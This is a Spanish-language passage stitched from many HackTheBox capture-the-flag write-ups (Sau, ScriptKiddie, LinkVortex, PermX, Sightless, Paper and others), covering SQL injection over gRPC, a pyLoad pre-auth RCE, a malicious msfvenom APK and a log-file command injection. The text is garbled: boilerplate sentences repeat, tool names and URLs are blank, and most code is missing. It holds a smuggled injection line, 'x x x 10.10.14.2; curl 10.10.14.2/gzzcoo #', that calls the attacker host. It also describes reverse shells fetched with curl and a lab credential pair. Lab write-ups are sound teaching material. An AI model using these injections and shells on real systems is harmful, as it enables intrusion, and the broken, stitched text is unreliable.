Al incluir el token correctamente en la solicitud, hemos recibido la siguiente respuesta, la cual no nos ofrece ningún tipo de información interesante.
Por otro lado, también podemos hacer uso de la herramienta de gRPC UI
para realizar los mismos comandos anteriores pero a través de una interfaz web.
Utilizaremos el servicio SimpleApp
con el método RegisterUser
y trataremos de registrar un usuario nuevo. Para enviar la solicitud le deberemos de dar a la opción de Invoke
.
En la respuesta por parte del servidor se nos muestra el mensaje indicando que la cuenta ha sido registrada correctamente, el mismo mensaje que se nos mostraba con grpcurl
.
Utilizaremos el método de LoginUser
para iniciar sesión con el usuario recién creado, le daremos a Invoke
nuevamente.
En la respuesta por parte del servidor, se nos muestra la respuesta en la cual nos proporcionan nuestro ID
y en el apartado de Response Trailers
se nos proporciona el Token
correspondiente a nuestro usuario.
Por último, utilizaremos el método de getInfo
para probar la funcionalidad de este método. Especificaremos nuestro ID
y le añadiremos un nuevo valor Token
en el apartado de Request Metadata
.
En la respuesta por parte del servidor, se nos muestra el mensaje de Will update soon
, tal y como nos aparecía en la herramienta de grpcurl
.
Después de revisar los endpoints, vimos que no hay nada explotable a simple vista. Pero como el servicio maneja autenticación con usuarios, contraseñas e identificadores, es probable que haya una base de datos detrás. Esto nos abre la puerta a probar una posible inyección SQL (SQLi) si algún parámetro es vulnerable.
Para comprobarlo, empezamos a jugar con el parámetro id en getInfo
. Un truco básico para detectar SQLi es usar OR 1=1
, que si funciona, suele devolver un resultado válido sin importar el ID.
El mensaje de respuesta sugiere que la consulta se ejecutó sin error, lo que indica que podría haber SQLi en este punto.
Después de investigar los diferentes payloads para detectar la infraestructura de la base de datos, comprobamos que se trata de SQLite
.
A través de PayloadsAllTheThings
realizaremos las inyecciones SQL típicas para lograr extraer los datos de las bases de datos presentes.
El primer paso a realizar, será lograr determinar el total de columnas que dispone le base de datos, para así lograr inyectar el payload. En este caso, se confirma que la base de datos solamente dispone de una columna con una versión de SQLite 3.31.1
.
A través de la siguiente inyección SQL, comprobamos las tablas presentes en la base de datos. En el resultado obtenido, verificamos la existencia de las tablas accounts
y messages
.
Enumeraremos las columnas presentes en la tabla accounts
, en la cual se nos muestran las columnas username
y password
.
Comprobaremos los datos de las columnas presentes en la tabla accounts
. En el resultado obtenido, comprobamos que nos aparecen las credenciales del usuario admin
y del usuario sau
.
Probaremos de conectarnos al equipo mediante SSH
, una vez comprobado el acceso verificaremos la flag user.txt.
En el equipo, después de una enumeración inicial básica comprobamos algunos puertos internos desconocidos, en el cual al realizar un cURL
sobre ellos se nos mostraba una redirección a lo que parece ser a un panel de login
.
Después de identificar los puertos 8000
y 9666
corriendo en localhost
, establecemos un port forwarding
con SSH para exponerlos en nuestra máquina.
A través de una búsqueda por Internet, comprobaremos las credenciales que se utilizan por defecto en pyLoad
.
Al tratar de iniciar sesión las credenciales pyload/pyload
se nos mostraba un mensaje de error indicando que las credenciales proporcionadas no eran válidas.
Volvemos al equipo víctima y verificaremos quién es el usuario que está ejecutando el pyLoad
, en este caso se verifica que es el usuario root
. Por otro lado, también logramos comprobar la versión exacta del servicio de pyLoad
.
Realizaremos una búsqueda con searchsploit
para verificar si existe alguna vulnerabilidad conocida para pyLoad
. En el resultado que hemos obtenido, comprobamos que existe una vulnerabilidad de Pre-auth RCE
para la versión exacta que está levantado en el sistema víctima, con lo cual podríamos intentar explotar dicha vulnerabilidad reportada como CVE-2023-0297
.
Inyección de código en el repositorio de GitHub pyload/pyload anterior a 0.5.0b3.dev31.
Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub en el cual nos proporcionan un exploit para aprovecharnos de la vulnerabilidad.
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
Comprobaremos que hemos recibido la conexión al equipo victima y nos encontramos como root
debido que el usuario que levantaba el servicio de pyLoad
era él, por lo tanto, los comandos inyectados se ejecutarán como dicho usuario.
Finalmente logramos obtener la flag root.txt.
Analizaremos el exploit para verificar cómo funciona por detrás. Para ello, a través de la variable de entorno HTTP_PROXY
indicaremos la dirección IP de nuestro localhost
por el puerto 8080
que es donde tenemos configurado BurpSuite
.
Una vez indicado el proxy, ejecutaremos el exploit para que por ejemplo ejecute el comando whoami
.
En la solicitud que se intercepta a través de BurpSuite
, se verifica que para aprovecharnos de la vulnerabilidad se realiza una solicitud por el método POST
al endpoint /flash/addcrypted2
.
Posteriormente, se importa a realizar la importación de la librería os
y se realiza la ejecución del payload, posteriormente se declaran funciones y variables necesarias para la explotación de la vulnerabilidad.
En este ejemplo, verificamos el funcionamiento de la vulnerabilidad a través de la solicitud por POST
que tramitamos a través de BurpSuite
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de , realizaremos una consulta para verificar la manera de abusar de este binario que tiene privilegios de SUID
para lograr acceso como root
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al ingresar a nos encontramos con la siguiente página web del panel de Administración del CMS de Nibbleblog
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página web, en la cual en una enumeración básica, no logramos obtener resultado relevante.
Disponemos en signup una página de registro de usuarios. Al intentar registrarnos como un nuevo usuarios, se nos indicaba que no podíamos realizar dicha acción.
Accedemos a y nos encontramos con la siguiente página web.
A través dela herramienta de , revisamos la manera de abusar de esta capabilitie
que disponemos.
LinkVortex
es una máquina Linux de fácil dificultad con varias formas de aprovechar los archivos de enlaces simbólicos (symlinks). El punto de apoyo inicial consiste en descubrir un directorio .git
expuesto que puede ser volcado para recuperar credenciales. Estas credenciales permiten acceder al sistema de gestión de contenidos Ghost vulnerable a . Esta vulnerabilidad permite a los usuarios autenticados cargar enlaces simbólicos, permitiendo la lectura arbitraria de archivos dentro del contenedor de Ghost. Las credenciales expuestas en el archivo de configuración de Ghost pueden ser aprovechadas para obtener un shell como usuario en el sistema anfitrión. Por último, el usuario puede ejecutar un script con permisos sudo que son vulnerables a un ataque de condición de carrera symlink (TOCTOU). Esto presenta una oportunidad para escalar privilegios mediante la creación de enlaces a archivos sensibles en el sistema y, en última instancia, obtener acceso root.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al ingresar a verificamos a través de Wappalyzer
las tecnologías que utiliza el sitio web. Verificamos que utiliza un CMS de Ghost
en una versión 5.58, esta información nos puede ser útil más adelante en busca de CVE.
Al ingresar a verificamos que nos pide credenciales de acceso.
Procederemos nuevamente a acceder a y probaremos de autenticarnos con el usuario admin@linkvortex.htb
y las credenciales OctopiFociPilfer45
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y y nos encontramos con los siguientes resultados.
En no logramos encontrar ningún tipo de información o vulnerabilidad para ganar acceso al sistema.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a http://10.10.11.227, se nos indica que para contactar con el soporte técnico, debemos dirigirnos a
Al acceder a nos encontramos con el siguiente panel de inicio de sesión en el cual podemos comprobar arriba a la derecha que se trata de un software llamado Request Tracker
. Probamos las típicas contraseñas por defecto sin éxito.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y comprobaremos el contenido de la aplicación web, en el cual nos ofrece un panel de autenticación.
Realizaremos una enumeración de páginas PHP
y directorios de la aplicación web. En el resultado obtenido, verificamos diferentes páginas web PHP
que analizaremos más adelante, muchas de ellas realizan una redirección a , lo cual sugiere que deberemos iniciar sesión para visualizar el contenido.
Al volver a interceptar la página principal de , le daremos a Forward
y comprobamos que BurpSuite
ha logrado interceptar la respuesta también.
Accedemos a y comprobamos que realiza automáticamente el cambio de 302 Found
a 200 OK
. Logramos visualizar el contenido de la página web el cual no teníamos acceso previamente.
Accedemos a y comprobamos el siguiente contenido de la página web. Según indica la página web, esta página solamente debería ser visible por los Admins
.
Accederemos a y comprobaremos la siguiente página web en la cual realiza un export
de los logs y nos ofrece el resultado en diferentes delimitadores:
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontraremos con la página por defecto que viene predeterminada con Apache
.
Después de revisar en las diferentes páginas, nos encontramos en que la página web ubicada en dispone de una página de Login
la cual nos redirige a .
Al acceder a nos encontramos con la siguiente página web de OpenNetAdmin
. Nos encontramos con una sesión de guest
iniciada y también comprobamos que dispone de una versión v18.1.1
.
Desde nuestro navegador accederemos a y comprobaremos el siguiente contenido de la página web.
Según , este mensaje se puede deber a estos motivos.
A través de la herramienta de nos encontramos la manera de explotar este binario como sudo
y lograr obtener una Shell como usuario root
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
PermX
es una máquina Linux de dificultad fácil que cuenta con un sistema de gestión de aprendizaje vulnerable a la carga de archivos sin restricciones a través de . Esta vulnerabilidad se aprovecha para obtener un punto de apoyo en la máquina. Al enumerar la máquina se revelan las credenciales que conducen al acceso SSH. Luego se explota una configuración incorrecta de sudo
para obtener un shell root
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página web, parece tratarse de una página de un servicio de Learning.
Sightless
es una máquina Linux de dificultad fácil que presenta un sitio web para una empresa que ofrece varios servicios. La enumeración del sitio web revela una instancia SQLPad
vulnerable a la inyección de plantilla CVE-2022-0944(
)
, que se aprovecha para afianzarse dentro de un contenedor Docker.
Una enumeración adicional revela el archivo /etc/shadow
con un hash de contraseña, que se descifra para revelar la contraseña, lo que otorga acceso SSH
al host. La enumeración posterior a la explotación revela una instancia Froxlor
vulnerable a Blind XSS CVE-2024-34070
().
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
, debido que en el resultado de Nmap
, nos aparecía que el sitio web nos redirigía a .
Procederemos a acceder a y procederemos a investigar sobre el sitio wbe.
Al acceder a y revisar información sobre el sitio web, nos damos cuenta que se trata de una aplicación web de SQLPad
.
Le daremos permisos de ejecución al exploit, procederemos a utilizarlo proporcionándole la URL del SQLPad () y nuestra dirección y el puerto donde estamos escuchando con nc
.
Probaremos de acceder con las credenciales obtenidas desde nuestro equipo a .
Paper
es una máquina Linux sencilla que cuenta con un servidor Apache en los puertos 80 y 443, que sirven las versiones HTTP y HTTPS de un sitio web respectivamente. El sitio web en el puerto 80 devuelve una página web de servidor predeterminada, pero el encabezado de respuesta HTTP revela un dominio oculto. Este dominio oculto ejecuta un blog de WordPress, cuya versión es vulnerable a . Esta vulnerabilidad nos permite ver la información confidencial almacenada en los borradores de las publicaciones del blog, que revelan otra URL que conduce a un sistema de chat para empleados. Este sistema de chat se basa en Rocketchat. Al leer los chats, descubrimos que hay un bot en ejecución al que se puede consultar información específica. Podemos explotar la funcionalidad del bot para obtener la contraseña de un usuario en el sistema. Una enumeración adicional de hosts revela que la versión sudo es vulnerable a y puede explotarse para elevar privilegios a root.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos ay nos encontramos con la siguiente página web que aparentemente no parece ofrecer nada relevante.
Accederemos a y probaremos de registrarnos como un nuevo usuario.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontraremos con la siguiente página web. Al parecer, esta página web su función es redimensionar imágenes que subamos en la aplicación web.
A través de la herramienta de , nos descargaremos todo el directorio de /.git/
de la página web.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a nos encontramos con el siguiente contenido de la página web.
Accederemos a y visualizamos el contenido del script.
Sau
es una máquina Linux de dificultad fácil que cuenta con una instancia de Request Baskets
que es vulnerable a la falsificación de solicitudes del lado del servidor (SSRF) a través de [CVE-2023-27163]
(). Aprovechando la vulnerabilidad, podemos obtener acceso a una instancia de Maltrail
que es vulnerable a la inyección de comandos del sistema operativo no autenticados, lo que nos permite obtener un shell inverso en la máquina como puma
. Luego, se explota una configuración incorrecta de sudo
para obtener un shell root
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a nos encontramos con la interfaz de Request Basket
en una versión 1.2.1-
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Para lograr interactuar con el servicio, decidimos utilizar la herramienta de . En la propia documentación de la herramienta se nos mostraban diferentes ejemplos también del uso.
Esto nos permite acceder a los servicios en y desde nuestro navegador, como si estuvieran corriendo en nuestra máquina local. Ahora podemos interactuar con ellos y buscar posibles vulnerabilidades.
Accederemos a y comprobaremos que se trata de una página de inicio de sesión de pyLoad
.
Realizaremos la ejecución del exploit sobre la URL vulnerable donde está el pyLoad
, en este caso, utilizaremos debido que hemos aplicado Port-Forwarding
e indicaremos nuestra dirección y puerto de atacante donde recibiremos la Reverse Shell.
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina ScriptKiddie
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Werkzeug
y el servicioSSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos a través de la herramienta de whatweb
un reconocimiento inicial de las tecnologías que utiliza la aplicación web.
Accedemos a http://10.10.10.226:5000 y nos encontramos con la siguiente página web. Al parecer, esta aplicación web ofrece diversas tools
de pentesting
, entre las cuales podemos observar los siguientes tres apartados.
Nmap --> Permite realizar un escaneo de los 100 puertos TCP más comunes de la dirección IP que se le proporcione.
Payloads --> Permite utilizar msfvenom
para crear un meterpreter bin
para generar una RevShell.
Sploits --> Permite realizar una consulta a través de la herramienta searchsploit
en busca de vulnerabilidades ya conocidas (CVE).
Realizaremos una enumeración de las diferentes funcionalidades que disponemos, para poder encontrar algún vector de entrada, etc.
En el primer caso, indicamos la dirección IP 127.0.0.1
para que la herramienta se intente realizar un escaneo al mismo servidor para poder localizar algún puerto interno que se encontrase abierto.
En el resultado obtenido, se nos muestra los mismos puertos los cuales habíamos localizado en el reconocimiento inicial conNmap
.
Por otro lado, también probamos de intentar realizar un Command Injection
de diversas maneras, a través de ;
&&
||
, etc. Pero tampoco obtuvimos resultados.
A continuación, probamos la siguiente tool
que ofrecía la aplicación web. En este primer intento para comprobar cómo funcionaba, se le especificó valores normales y comprobamos el resultado obtenido en la respuesta del servidor. También ofrece una opción de template file
, que revisaremos más adelante si podemos hacer un File Upload
o intentar realizar otras acciones.
Intentamos realizar nuevamente un Command Injection
, pero no logramos obtener resultados.
Para finalizar, realizamos una comprobación de la tool
llamada sploits
la cual se basa en la herramienta searchsploit
para lograr encontrar vulnerabilidades ya reportadas. Realizamos una búsqueda simple y comprobamos que se nos mostraba el resultado de las vulnerabilidades encontradas en la respuesta por parte del servidor.
En este caso, al intentar realizar el Command Injection
, se nos indicaba un mensaje indicando stop hacking me - will hack you back
. Dando a entender, que paremos de intentar hackear la aplicación web o nos realizaría lo mismo.
Dado que en este punto, se nos mostró este mensaje de error inusual que en los anteriores funcionalidades no nos apareció, decidimos profundizar más en intentar realizar un Bypass
al Command Injection
, pero no logramos obtener resultados.
Dado que no disponemos de mucha información sobre la página web y revisando diferentes maneras de intentar realizar un Command Injection
los cuales no obtuvimos resultado, decidimos realizar lo siguiente.
En la herramienta llamada payloads
de la aplicación web, sabemos que utiliza la herramienta de msfvenom
de Metasploit
. Desconocemos la versión exacta de la herramienta, pero intentamos buscar a ver si había alguna vulnerabilidad en el cual nos encontramos con el siguiente CVE-2020-7384
.
No perderíamos nada intentando realizar la explotación de la siguiente vulnerabilidad, debido que tampoco tenemos gran cosa para avanzar y ganar acceso al sistema, así que nos pondremos manos a la obra.
La trama msfvenom en Metasploit de Rapid7 maneja archivos APK de una manera que permite a un usuario malicioso crear y publicar un archivo que ejecutaría comandos arbitrarios en la máquina de la víctima
Nos copiaremos a nuestro directorio actual de trabajo el exploit que nos muestra disponible la herramienta de searchsploit
.
Modificaremos el script de Python para realizar el Command Injection
. En este caso, para verificar que la aplicación web es vulnerable, lo que inyectaremos es un comando para que realice una petición cURL
a un recurso que no existe para comprobar en nuestro servidor web que se ha realizado dicha petición. En caso de que nos llegase un GET
, confirmaríamos que existe el Command Injection
.
Una vez tengamos el exploit modificado, lo ejecutaremos y comprobaremos que se nos genera un archivo APK
malicioso. Para realizar la explotación, la víctima deberá ejecutar msfvenom
con nuestro archivo APK
malicioso.
Levantaremos un servidor web con Python para realizar la prueba de la confirmación de la vulnerabilidad.
En el apartado de payloads
dejaremos la siguiente configuración y en template file
subiremos el evil.apk
que contiene nuestre payload malicioso. Le daremos a la opción de generate
.
Al darle a dicha opción, en la respuesta por parte del servidor se nos muestra el siguiente mensaje de error.
Pero por parte nuestra, en nuestro servidor web se ha recibido una petición por GET
desde la dirección IP víctima. Con lo cual, hemos confirmado que la versión que utiliza la aplicación web es Msfvenom 6.0.11
la cual es vulnerable a Command Injection
, además hemos podido confirmar la explotación de la vulnerabilidad.
Con lo cual, el siguiente paso será lograr obtener acceso al sistema. Para ello, crearemos un script en Bash
que realice la Reverse Shell. Este script lo deberemos compartir a través de un servidor web.
Editaremos nuevamente el exploit y le indicaremos que realice una petición con cURL
sobre nuestro script de Bash
y se ejecute en una bash
el script que estamos compartiendo.
En una nueva terminal, nos pondremos en escucha con nc
para recibir la Reverse Shell.
Utilizaremos nuevamente el exploit para generar un nuevo archivo APK
malicioso.
Realizaremos los mismos pasos y subiremos este nuevo archivo APK
malicioso que hemos generado en el paso anterior.
Al utilizar la herramienta vulnerable, finalmente comprobamos que hemos ganado acceso al sistema a través del usuario kid
y podemos visualizar la flag user.txt.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Realizando enumeración en el directorio /home
, nos encontramos con el directorio personal de un nuevo usuario llamado pwn
. Este directorio contenía otro directorio llamado recon
el cual no disponíamos de acceso y de un script llamado scanlosers.sh
el cual no podíamos ejecutar pero si visualizar su contenido.
El script extrae direcciones IP de un archivo de logs, elimina duplicados y escanea los 10 puertos más comunes con Nmap, guardando los resultados en recon/{IP}.nmap
. Luego, si el log tiene contenido, lo vacía.
La línea while read ip; do sh -c "nmap ... ${ip}" & done
usa sh -c
, lo que permite ejecución de comandos si $log
contiene una entrada manipulada, como:
Si el script lo procesa, ejecutará whoami
.
Por otro lado, también comprobamos que podemos revisar la configuración de la aplicación web que hemos logrado vulnerar anteriormente. La configuración se encuentra en el siguiente script de Python: /home/kid/html/app.py
.
A través del usuario kid
, tenemos la capacidad de revisar el código. Si recordamos, anteriormente intentamos realizar un Command Injection en la herramienta searchsploit
dentro de la aplicación web. En respuesta, se nos mostró un mensaje indicando que dejáramos de intentar hackear la aplicación, e incluso nos amenazaba con hacer lo mismo contra nosotros.
Al analizar el código de la aplicación, encontramos el siguiente contenido:
Este código abre el archivo /home/kid/logs/hackers
y registra la fecha y hora actuales, junto con la srcip
proporcionada en la aplicación web. Luego, muestra el mensaje: stop hacking me - well hack you back
.
La variable regex_alphanum
se define en el código de la siguiente manera:
Esta regex solo permite letras (A-Z, a-z
), números (0-9
), espacios y puntos (.
).
Gracias a esta validación, no es posible inyectar caracteres especiales en text
, lo que evita un Command Injection directo en searchsploit
.
Si el input text
no cumple con la regex, la aplicación escribe la dirección srcip
en el archivo /home/kid/logs/hackers
.
Problema: srcip
no pasa por ninguna validación, lo que permite manipular su contenido.
Para verificar el formato con el cual se almacenan las entradas en el archivo /home/kid/logs/hackers
, realizamos la siguiente comprobación desde nuestro equipo local utilizando Python 3.
El resultado obtenido fue el siguiente formato:
[2025-03-02 17:40:10.917029] 10.10.14.2
De este modo, confirmamos que los logs siguen el formato:
[YYYY-MM-DD HH:MM:SS.microsegundos] IP
Este formato se utiliza para registrar las direcciones IP en el archivo de logs, permitiéndonos manipular srcip sin ningún tipo de validación o filtrado.
Realizamos una prueba de escritura simulada en el archivo de logs /home/kid/logs/hackers
, utilizando el formato indicado en la aplicación web.
Ejecutamos el siguiente comando: echo '[2025-03-02 17:40:10.917029] 10.10.14.2' > hackers
, y luego comprobamos el contenido del archivo con cat hackers
, obteniendo el resultado [2025-03-02 17:40:10.917029] 10.10.14.2
.
Posteriormente, insertamos un comando de pausa y, después de 1 segundo, volvimos a verificar el archivo con echo 'pause'; sleep 1; cat hackers; echo 'done'
, observando que el contenido desaparecía.
Esto sugiere que el script se ejecutó automáticamente al recibir el log simulado, lo que implica que podría haber una tarea programada (como una tarea cron) o algún proceso en segundo plano que limpia los logs inmediatamente después de procesarlos. Además, es posible que el script sea ejecutado por el usuario pwn
, quien es el propietario del script, lo que indicaría que dicho usuario tiene configurado algún mecanismo que activa la ejecución del script al escribir en el archivo de logs.
Volvimos a comprobar el funcionamiento del script, el cual revisa el contenido del archivo /home/kid/logs/hackers
para obtener el tercer valor de cada línea (en este caso, la dirección IP) utilizando el comando cut
. A continuación, el script utiliza sort
para ordenar y obtener un listado único de IPs. Luego, para cada IP obtenida, ejecuta un escaneo de puertos con nmap
en segundo plano para las 10 principales puertos. El resultado de cada escaneo se guarda en un archivo en el directorio recon/
, pero la salida estándar y de error se redirige a /dev/null
para ocultar la salida.
El script también incluye una verificación para comprobar si el archivo de logs contiene alguna línea; si es así, borra el contenido del archivo.
Realizamos una prueba para verificar qué valor es el que el script maneja al procesar el archivo de logs. Ejecutamos el siguiente comando en el sistema:
echo '[2025-03-02 17:40:10.917029] 10.10.14.2' | cut -d' ' -f3-
El resultado fue:
10.10.14.2
Esto confirma que el script toma la tercera columna de cada línea en el archivo de logs, que corresponde a la dirección IP (en este caso, 10.10.14.2).
El valor extraído es luego utilizado por el script en la variable ip
para realizar el escaneo de puertos con Nmap
.
Sin embargo, al no validar correctamente el valor de la IP, es posible que se realice un Command Injection. Para demostrar esto, realizamos una prueba en la que inyectamos un comando adicional. En este caso, aprovechamos el formato del valor extraído, ya que el script solo toma la tercera columna, sin validar su contenido completamente.
Ejecutamos el siguiente comando:
echo 'x x x 10.10.14.2; curl 10.10.14.2/gzzcoo #' | cut -d' ' -f3-
El resultado obtenido fue:
x 10.10.14.2; curl 10.10.14.2/gzzcoo #
Aquí, la parte 10.10.14.2; curl 10.10.14.2/gzzcoo #
se inyecta correctamente en el comando, lo que indica que podemos ejecutar comandos adicionales (en este caso, un curl
) junto con el escaneo de puertos de nmap. El #
asegura que el resto de la línea se comente y no interfiera con el comando. Esto demuestra una vulnerabilidad de Command Injection, lo que podría permitirnos ejecutar comandos arbitrarios en el sistema.
La sintaxis que recibiría el script scanlosers.sh
cuando le pasemos esos valores sería algo parecido a esto.
Para realizar la prueba final para verificar el Command Injection
nos levantaremos un servidor web para ver si recibimos una petición por GET
a un recurso inexistente.
Escribiremos el siguiente contenido en el archivo hackers
donde llegan los logs, en este ejemplo pondremos en marcha lo explicado anteriormente.
Por parte de nuestro servidor web, confirmamos que se ha realizado la petición con cURL
hacía nuestro servidor web, confirmamos finalmente el Command Injection
.
Por lo tanto, el siguiente paso será lograr obtener acceso a través de una Reverse Shell con el usuario que ejecuta el script, que probablemente sea pwn
.
Inyectaremos el siguiente código en el archivo de logs hackers
.
Confirmaos que hemos recibido correctamente el acceso a la máquina con el usuario pwn
.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Revisando los permisos de sudoers
que dispone el usuario, nos encontramos que puede ejecutar el binario de msfconsole
como usuario root
sin proporcionar credenciales de este mismo.
Realizaremos los pasos de la explotación del binario para poder ganar acceso como usuario root
. Comprobamos que finalmente logramos obtener una shell
como usuarioroot
y podemos visualizar la flag root.txt.
ScriptKiddie
es una máquina Linux de dificultad fácil que presenta una vulnerabilidad de Metasploit (), junto con ataques clásicos como la inyección de comandos del sistema operativo y una configuración sudo
insegura sin contraseña. El punto de apoyo inicial en la máquina se obtiene cargando un archivo .apk
malicioso desde una interfaz web que llama a una versión vulnerable de msfvenom
para generar cargas útiles descargables. Una vez que se obtiene el shell, el movimiento lateral a un segundo usuario se realiza inyectando comandos en un archivo de registro que proporciona una entrada no higienizada a un script Bash que se activa al modificar el archivo. A este usuario se le permite ejecutar msfconsole
como root
a través de sudo
sin proporcionar una contraseña, lo que resulta en la escalada de privilegios.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de comprobaremos la manera de explotar este binario con permisos de sudo
sobre él. Esta herramienta tiene como funcionalidad realizar la consulta a GTFOBins
pero localmente.